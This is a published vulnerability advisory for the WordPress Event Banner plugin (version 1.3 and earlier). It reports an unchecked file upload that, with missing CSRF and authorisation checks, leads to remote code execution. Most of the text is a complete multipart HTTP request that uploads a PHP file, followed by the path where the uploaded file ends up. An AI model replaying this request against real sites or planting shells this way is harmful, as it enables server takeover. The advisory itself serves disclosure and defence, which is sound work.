WordPress Plugin Vulnerabilities

Event Banner <= 1.3 - Arbitrary File Upload to RCE

Description

The plugin does not verify the uploaded image file, allowing admin accounts to upload arbitrary files, such as .exe, .php, or others executable, leading to RCE. Due to the lack of CSRF check, the issue can also be used via such vector to achieve the same result, or via a LFI as authorisation checks are missing (but would require WP to be loaded)

Proof of Concept

POST /wp-admin/admin.php?page=free_event_banner HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------7244184083325323103017916780
Content-Length: 705
Connection: close
Cookie: [admin cookies/CSRF]
Upgrade-Insecure-Requests: 1

-----------------------------7244184083325323103017916780
Content-Disposition: form-data; name="image"; filename="134.php"
Content-Type: text/php

<?php echo 'FAILED'; ?>

-----------------------------7244184083325323103017916780
Content-Disposition: form-data; name="event[name]"

default
-----------------------------7244184083325323103017916780
Content-Disposition: form-data; name="event[date]"

def
-----------------------------7244184083325323103017916780
Content-Disposition: form-data; name="event[file]"


-----------------------------7244184083325323103017916780
Content-Disposition: form-data; name="save"

Save
-----------------------------7244184083325323103017916780--


The PHP file will be at https://example.com/wp-content/uploads/event_banner/def.php

Affects Plugins

No known fix

References

Miscellaneous

Original Researcher
Jin Huang
Submitter
Jin Huang
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2021-04-10 (about 3 years ago)
Added
2021-04-12 (about 3 years ago)
Last Updated
2021-04-14 (about 3 years ago)

Other